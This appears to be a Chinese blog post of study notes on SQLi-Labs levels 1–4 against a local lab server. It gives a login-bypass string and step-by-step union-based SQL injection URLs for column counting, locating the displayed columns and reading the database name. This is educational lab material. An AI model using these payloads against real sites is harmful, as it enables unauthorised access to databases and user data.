SQL-lab 1-4关

SQL注入原理

语言分类

1.解释型语言

2.编译型语言

解释型语言,若程序与用户进行交互时。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

万能密码(绕过用户名和密码)

用户名:admin'or1=1-- (单行注释后必须有空格)

密码:随意就可以

cms逻辑:index.php首页展示内容,具有文章列表(l链接具有文章id ),articles.php文章详细页,URL中article.php?id=文章id读取文章id

sql注入验证:

1.单引号‘

2.and1=1

3.and1=2

如果页面中Mysql报错,证明该页面存在SQL注入漏洞

靶场地址 http://192.168.100.128/sql-lab/

第一关靶场

Less-1

http://192.168.100.128/sql-lab/Less-1/

判断是否被当做代码执行 http://192.168.100.128/sql-lab/Less-1/?id=1%20and%201=2 (and1=1)

尝试一下闭合

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=1%20--%20q 没问题

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=2%20--%20q 有问题 页面异常 说明之间存在SQL注入

接下来找当前的字段数

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%201%20--%20q order by 1正常

Order by 1 2 3均正常

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%204%20--%20q order by 4 异常

说明存在三个字段

接下来判断显错位,使用联合查询

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27union%20select%201,2,3%20--%20q 依然没有问题 是因为查询结果显示在了前面,所以没有显示联合查询的结果

现在将前面的id更换为100,100处没有前面的结果,所以将显示联合查询的结果

http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,22,33%20--%20q 这样显示22和33,22和33是(显错位)的意思

http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q

显示 Security(当前数据库的库名)用database()来获取库名

来自 <http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q>

table_name查询表名

建议用 一个一个查,尽量不用 group_concat 函数 因为显示位数不够可能导致无法显示完整

第三关靶场

http://192.168.100.128/sql-lab/Less-3/?id=1%27)%20and%201=2%20--%20q

实战中多尝试闭合 ‘) “)1=1 1=2 组合尝试

其他操作大致相同

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值